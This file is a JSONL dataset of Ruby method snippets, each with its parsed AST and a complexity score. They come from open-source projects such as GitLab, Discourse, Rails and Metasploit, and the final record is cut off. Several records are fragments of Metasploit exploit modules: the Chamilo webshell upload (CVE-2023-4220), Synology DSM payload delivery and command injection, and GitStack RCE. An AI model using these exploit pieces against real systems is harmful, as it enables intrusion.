{"repo_name":"discourse","file_path":"./repos/discourse/script/bulk_import/vanilla.rb","start_line":162,"raw_source":"def import_user_profiles\n    puts \"\", \"Importing user profiles...\"\n\n    user_profiles = mysql_stream <<-SQL\n      SELECT UserID, Name, Email, Location, About\n        FROM #{TABLE_PREFIX}User\n       WHERE UserID > #{@last_imported_user_id}\n         AND Deleted = 0\n    ORDER BY UserID ASC\n    SQL\n\n    create_user_profiles(user_profiles) do |row|\n      next if row[\"Email\"].blank?\n      next if row[\"Name\"].blank?\n\n      {\n        user_id: user_id_from_imported_id(row[\"UserID\"]),\n        location: row[\"Location\"],\n        bio_raw: row[\"About\"],\n      }\n    end\n  end","complexity_score":17.6,"ast_json":"{\"type\":\"def\",\"children\":[\"import_user_profiles\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"Importing user profiles...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"user_profiles\",{\"type\":\"send\",\"children\":[null,\"mysql_stream\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"      SELECT UserID, Name, Email, Location, About\\n\"]},{\"type\":\"str\",\"children\":[\"        FROM \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TABLE_PREFIX\"]}]},{\"type\":\"str\",\"children\":[\"User\\n\"]},{\"type\":\"str\",\"children\":[\"       WHERE UserID > \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@last_imported_user_id\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"         AND Deleted = 0\\n\"]},{\"type\":\"str\",\"children\":[\"    ORDER BY UserID ASC\\n\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_user_profiles\",{\"type\":\"lvar\",\"children\":[\"user_profiles\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Email\"]}]},\"blank?\"]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Name\"]}]},\"blank?\"]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[null,\"user_id_from_imported_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"UserID\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"location\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Location\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"bio_raw\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"About\"]}]}]}]}]}]}]}]}","id":"dfe11051-defd-4fbb-94c2-cd999e15476a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/update_container_registry_info_service.rb","start_line":19,"raw_source":"def fetch_registry_info\n    return fetch_registry_info_from_v2 unless ContainerRegistry::GitlabApiClient.supports_gitlab_api?\n\n    info = ContainerRegistry::GitlabApiClient.statistics.merge({ vendor: 'gitlab' })\n    info[:features] ||= []\n    info[:features] << ContainerRegistry::GitlabApiClient::REGISTRY_GITLAB_V1_API_FEATURE\n\n    info\n  end","complexity_score":8.5,"ast_json":"{\"type\":\"def\",\"children\":[\"fetch_registry_info\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ContainerRegistry\"]},\"GitlabApiClient\"]},\"supports_gitlab_api?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fetch_registry_info_from_v2\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"info\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ContainerRegistry\"]},\"GitlabApiClient\"]},\"statistics\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"vendor\"]},{\"type\":\"str\",\"children\":[\"gitlab\"]}]}]}]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"info\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"features\"]}]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"info\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"features\"]}]},\"<<\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ContainerRegistry\"]},\"GitlabApiClient\"]},\"REGISTRY_GITLAB_V1_API_FEATURE\"]}]},{\"type\":\"lvar\",\"children\":[\"info\"]}]}]}","id":"e5a12fde-2e9f-4113-8390-6756ab677e66"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/issues/reorder_service.rb","start_line":16,"raw_source":"def update(issue, attrs)\n      ::Issues::UpdateService.new(container: project, current_user: current_user, params: attrs).execute(issue)\n    rescue ActiveRecord::RecordNotFound\n      false\n    end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"update\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"issue\"]},{\"type\":\"arg\",\"children\":[\"attrs\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Issues\"]},\"UpdateService\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"container\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current_user\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"lvar\",\"children\":[\"attrs\"]}]}]}]},\"execute\",{\"type\":\"lvar\",\"children\":[\"issue\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"RecordNotFound\"]}]},null,{\"type\":\"false\",\"children\":[]}]},null]}]}","id":"8dc681a5-b373-4183-9db6-49a8f20e9299"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/chamilo_bigupload_webshell.rb","start_line":15,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Chamilo v1.11.24 Unrestricted File Upload PHP Webshell',\n        'Description' => %q{\n          Chamilo LMS is a free software e-learning and content management system. In versions prior to <= v1.11.24\n          a webshell can be uploaded via the bigload.php endpoint. If the GET request parameter `action` is set to\n          `post-unsupported` file extension checks are skipped allowing for attacker controlled .php files to be uploaded to:\n          `/main/inc/lib/javascript/bigupload/files/` if the `/files/` directory already exists - it does not exist\n          by default.\n        },\n        'Author' => [\n          'Ngo Wei Lin', # discovery\n          'jheysel-r7'   # module\n        ],\n        'References' => [\n          [ 'URL', 'https://starlabs.sg/advisories/23/23-4220/'],\n          [ 'URL', 'https://github.com/H4cking4All/CVE-2023-4220/tree/main'],\n          [ 'CVE', '2023-4220']\n        ],\n        'License' => MSF_LICENSE,\n        'Platform' => %w[php],\n        'Privileged' => false,\n        'Arch' => [ ARCH_PHP ],\n        'Targets' => [\n          [\n            'PHP',\n            {\n              'Platform' => ['php'],\n              'Arch' => ARCH_PHP\n            }\n          ],\n        ],\n        'DisclosureDate' => '2023-11-28',\n        'Notes' => {\n          'Stability' => [ CRASH_SAFE, ],\n          'SideEffects' => [ ARTIFACTS_ON_DISK, ],\n          'Reliability' => [ REPEATABLE_SESSION, ]\n        }\n      )\n    )\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Chamilo v1.11.24 Unrestricted File Upload PHP Webshell\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          Chamilo LMS is a free software e-learning and content management system. In versions prior to <= v1.11.24\\n\"]},{\"type\":\"str\",\"children\":[\"          a webshell can be uploaded via the bigload.php endpoint. If the GET request parameter `action` is set to\\n\"]},{\"type\":\"str\",\"children\":[\"          `post-unsupported` file extension checks are skipped allowing for attacker controlled .php files to be uploaded to:\\n\"]},{\"type\":\"str\",\"children\":[\"          `/main/inc/lib/javascript/bigupload/files/` if the `/files/` directory already exists - it does not exist\\n\"]},{\"type\":\"str\",\"children\":[\"          by default.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Ngo Wei Lin\"]},{\"type\":\"str\",\"children\":[\"jheysel-r7\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://starlabs.sg/advisories/23/23-4220/\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://github.com/H4cking4All/CVE-2023-4220/tree/main\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2023-4220\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"php\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_PHP\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"PHP\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"php\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_PHP\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2023-11-28\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARTIFACTS_ON_DISK\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REPEATABLE_SESSION\"]}]}]}]}]}]}]}]}]}","id":"a1b38a16-54e7-418f-bee8-22bc655ecadc"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/synology_dsm_smart_exec_auth.rb","start_line":107,"raw_source":"def on_request_uri(cli, _request, cookie, token)\n    print_good('HTTP Server request received, sending payload')\n    send_response(cli, payload.encoded)\n    print_status('Executing payload')\n    inject_request(cookie, token, 'python b')\n  end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"on_request_uri\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cli\"]},{\"type\":\"arg\",\"children\":[\"_request\"]},{\"type\":\"arg\",\"children\":[\"cookie\"]},{\"type\":\"arg\",\"children\":[\"token\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"str\",\"children\":[\"HTTP Server request received, sending payload\"]}]},{\"type\":\"send\",\"children\":[null,\"send_response\",{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Executing payload\"]}]},{\"type\":\"send\",\"children\":[null,\"inject_request\",{\"type\":\"lvar\",\"children\":[\"cookie\"]},{\"type\":\"lvar\",\"children\":[\"token\"]},{\"type\":\"str\",\"children\":[\"python b\"]}]}]}]}","id":"6e22ffe7-87eb-41f7-982b-4ba1ed094d26"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/cop.rb","start_line":65,"raw_source":"def self.qualified_cop_name(name, origin)\n        warn Rainbow(<<~WARNING).yellow, uplevel: 1\n          `Cop.qualified_cop_name` is deprecated. Use `Registry.qualified_cop_name` instead.\n        WARNING\n\n        Registry.qualified_cop_name(name, origin)\n      end","complexity_score":4.9,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"qualified_cop_name\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"origin\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"warn\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"Rainbow\",{\"type\":\"str\",\"children\":[\"`Cop.qualified_cop_name` is deprecated. Use `Registry.qualified_cop_name` instead.\\n\"]}]},\"yellow\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"uplevel\"]},{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Registry\"]},\"qualified_cop_name\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"origin\"]}]}]}]}","id":"5fddef3d-3040-49ec-adce-60f46e030596"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/base/sessions/sql.rb","start_line":15,"raw_source":"def process_autoruns(datastore)\n    ['InitialAutoRunScript', 'AutoRunScript'].each do |key|\n      next if datastore[key].nil? || datastore[key].empty?\n\n      args = ::Shellwords.shellwords(datastore[key])\n      print_status(\"Session ID #{sid} (#{tunnel_to_s}) processing #{key} '#{datastore[key]}'\")\n      execute_script(args.shift, *args)\n    end\n  end","complexity_score":21.8,"ast_json":"{\"type\":\"def\",\"children\":[\"process_autoruns\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"datastore\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"InitialAutoRunScript\"]},{\"type\":\"str\",\"children\":[\"AutoRunScript\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"datastore\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"datastore\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},\"empty?\"]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"args\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Shellwords\"]},\"shellwords\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"datastore\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Session ID \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sid\"]}]},{\"type\":\"str\",\"children\":[\" (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tunnel_to_s\"]}]},{\"type\":\"str\",\"children\":[\") processing \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"str\",\"children\":[\" '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"datastore\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]},{\"type\":\"send\",\"children\":[null,\"execute_script\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"shift\"]},{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]}]}]}]}]}","id":"37496bf0-20d3-423a-b3ec-7f2445a98bf3"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/test/test_event_router.rb","start_line":34,"raw_source":"def emit_handler\n    @emit_handler ||= TestEmitErrorHandler.new\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"emit_handler\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@emit_handler\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TestEmitErrorHandler\"]},\"new\"]}]}]}","id":"82ce9213-d474-42a9-bb49-e770afb8997f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/gitstack_rce.rb","start_line":121,"raw_source":"def create_repo\n    repo = Rex::Text.rand_text_alpha(5)\n    c_token = Rex::Text.rand_text_alpha(5)\n    begin\n      res = send_request_cgi({\n        'uri' => '/rest/repository/',\n        'method' => 'POST',\n        'cookie' => \"csrftoken=#{c_token}\",\n        'vars_post' => {\n          'name' => repo,\n          'csrfmiddlewaretoken' => c_token\n        }\n      })\n    rescue Rex::ConnectionError, Errno::ECONNRESET => e\n      print_error(\"Failed: #{e.class} - #{e.message}\")\n    end\n    if res && res.code == 200\n      vprint_good(\"#{res.body}\")\n      return repo\n    else\n      print_status('Unable to create repository')\n      return nil\n    end\n  end","complexity_score":21.13,"ast_json":"{\"type\":\"def\",\"children\":[\"create_repo\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"repo\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha\",{\"type\":\"int\",\"children\":[5]}]}]},{\"type\":\"lvasgn\",\"children\":[\"c_token\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha\",{\"type\":\"int\",\"children\":[5]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"str\",\"children\":[\"/rest/repository/\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"cookie\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"csrftoken=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c_token\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"repo\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"csrfmiddlewaretoken\"]},{\"type\":\"lvar\",\"children\":[\"c_token\"]}]}]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"ConnectionError\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Errno\"]},\"ECONNRESET\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Failed: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"class\"]}]},{\"type\":\"str\",\"children\":[\" - \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"repo\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Unable to create repository\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]}]}]}]}","id":"b0fe98a3-946a-4158-a18e-bc06018b38ec"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/dispatch/request/json_params_parsing_test.rb","start_line":132,"raw_source":"def parse\n      self.class.last_request_parameters = request.request_parameters\n      self.class.last_parameters = params.to_unsafe_h\n      head :ok\n    end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"parse\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"last_request_parameters=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"request_parameters\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"last_parameters=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"to_unsafe_h\"]}]},{\"type\":\"send\",\"children\":[null,\"head\",{\"type\":\"sym\",\"children\":[\"ok\"]}]}]}]}","id":"55d1fd2f-f7ef-4755-ba46-7d139115ffc3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/background_migration/backfill_project_repositories.rb","start_line":160,"raw_source":"def without_project_repository\n            joins(left_outer_join_project_repository)\n              .where(ProjectRepository.arel_table[:project_id].eq(nil))\n          end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"without_project_repository\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"joins\",{\"type\":\"send\",\"children\":[null,\"left_outer_join_project_repository\"]}]},\"where\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ProjectRepository\"]},\"arel_table\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"project_id\"]}]},\"eq\",{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"40775654-bf2c-4323-b598-c9afce9a799c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/ci/pipeline_creation/start_pipeline_service.rb","start_line":12,"raw_source":"def execute\n        ##\n        # Create a persistent ref for the pipeline.\n        # The pipeline ref is created here and will be deleted when the pipeline transitions to a finished state.\n        pipeline.ensure_persistent_ref\n\n        Ci::UpdateBuildNamesWorker.perform_async(pipeline.id)\n        Ci::ProcessPipelineService.new(pipeline).execute\n        Ci::ProjectWithPipelineVariable.upsert_for_pipeline(pipeline)\n      end","complexity_score":11.6,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pipeline\"]},\"ensure_persistent_ref\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ci\"]},\"UpdateBuildNamesWorker\"]},\"perform_async\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pipeline\"]},\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ci\"]},\"ProcessPipelineService\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"pipeline\"]}]},\"execute\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ci\"]},\"ProjectWithPipelineVariable\"]},\"upsert_for_pipeline\",{\"type\":\"send\",\"children\":[null,\"pipeline\"]}]}]}]}","id":"9ef0f572-2f84-41e8-8c1a-2258d63b619a"}
{"repo_name":"liquid","file_path":"./repos/liquid/test/unit/tags/case_tag_unit_test.rb","start_line":13,"raw_source":"def test_case_with_trailing_element\n    template = <<~LIQUID\n      {%- case 1 bar -%}\n        {%- when 1 -%}\n          one\n        {%- else -%}\n          two\n      {%- endcase -%}\n    LIQUID\n\n    with_error_modes(:lax, :strict) do\n      assert_template_result(\"one\", template)\n    end\n\n    with_error_modes(:rigid) do\n      error = assert_raises(Liquid::SyntaxError) { Template.parse(template) }\n\n      assert_match(/Expected end_of_string but found/, error.message)\n    end\n  end","complexity_score":13.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_case_with_trailing_element\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"template\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"{%- case 1 bar -%}\\n\"]},{\"type\":\"str\",\"children\":[\"  {%- when 1 -%}\\n\"]},{\"type\":\"str\",\"children\":[\"    one\\n\"]},{\"type\":\"str\",\"children\":[\"  {%- else -%}\\n\"]},{\"type\":\"str\",\"children\":[\"    two\\n\"]},{\"type\":\"str\",\"children\":[\"{%- endcase 